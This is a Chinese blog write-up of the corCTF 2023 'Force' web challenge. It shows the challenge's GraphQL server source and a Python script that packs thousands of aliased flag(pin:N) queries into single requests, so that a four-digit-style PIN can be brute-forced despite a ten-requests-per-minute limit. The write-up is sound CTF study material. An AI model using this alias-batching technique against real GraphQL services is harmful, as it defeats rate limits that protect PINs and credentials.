目录

  1. 1. 前言
  2. 2. 题目
  3. 3. 源码
  4. 4. Graphql
  5. 5. 解题过程
  6. 6. 后日谈

LOADING

第一次加载文章图片可能会花费较长时间

要不挂个梯子试试?(x

加载过慢请开启缓存 浏览器默认开启

corCTF2023 Force

2023/8/3 Web 爆破 Graphql
  |     |   总文章阅读量:

前言

是国外比赛的题目呢

感谢Laffey在新生赛的供题

wp原文

题目

一分钟只能查十次呢。怎么办呢?

image-20230803193858122

一个文本框和提交按钮

源码

下载题目附件解压直接看源码

web.js

import fastify from 'fastify'
import mercurius from 'mercurius'
import { randomInt } from 'crypto'
import { readFile } from 'fs/promises'

const app = fastify({
    logger: true
});
const index = await readFile('./index.html', 'utf-8');

const secret = randomInt(0, 10 ** 5); // 1 in a 100k??

let requests = 10;

setInterval(() => requests = 10, 60000);

await app.register(mercurius, {
    schema: `type Query {
        flag(pin: Int): String
    }`,
    resolvers: {
        Query: {
            flag: (_, { pin }) => {
                if (pin != secret) {
                    return 'Wrong!';
                }
                return process.env.FLAG || 'corctf{test}';
            }
        }
    },
    routes: false
});

app.get('/', (req, res) => {
    return res.header('Content-Type', 'text/html').send(index);
});

app.post('/', async (req, res) => {
    if (requests <= 0) {
        return res.send('no u')
    }
    requests --;
    return res.graphql(req.body);
});

app.listen({ host: '0.0.0.0', port: 80 });

审计代码,可以看出来只要pin的值等于secret就可以获得flag了

但是secret的值是1到100000之间的随机数

我们只能考虑爆破,但是题目说了一分钟最多只能发送十次请求


Graphql

这道题的源码中导入了mercurius库,这是一个 Graphql 库

我们先了解一下什么是Graphql

中文文档

一种用于 API 的查询语言

这里直接举个例子来理解这个语言的运行机制

查询的代码:

{
	Giftia{
	 	name
	 	height
		mass
	}
}

返回的内容格式如下:

{
    "Giftia":{
        "name": "Isla",
        "height": 150
        "weight": "你知道的太多了"
    }
}

很明显只要稍微修改一下查询的代码就可以获得不同的结果


解题过程

为了获得flag,我们需要在单个请求中发送大量请求

最终我们选择使用串行执行

当我们传入下面这种查询语句时,可以发现返回了多个查询结果

image-20230803200114564

那么为了做到爆破,我们需要先准备payload,考虑到服务器性能有限,这里把100000次请求拆成10次10000发的请求

编写python脚本来生成payload集

for y in range(1, 11):
    tenThousand = y

    file = "out" + str(tenThousand) + ".txt"
    output = ""

    open(file, 'w').close

    output = "{"

    for x in range(10000 * (int(tenThousand) - 1), 10000 * int(tenThousand)):
        output += ("a" + str(x) + ":flag(pin:" + str(x) + ")")

    output += ("}")

    f = open(file, "a")
    f.write(output)
    f.close()

运行后会生成10个txt文件

image-20230803200847297

抓包分10组把10组payload传上去爆破

image-20230803200514872

爆破出flag


后日谈

不愧是国外的比赛,你这是在出一种很新的东西

要学的还有好多ww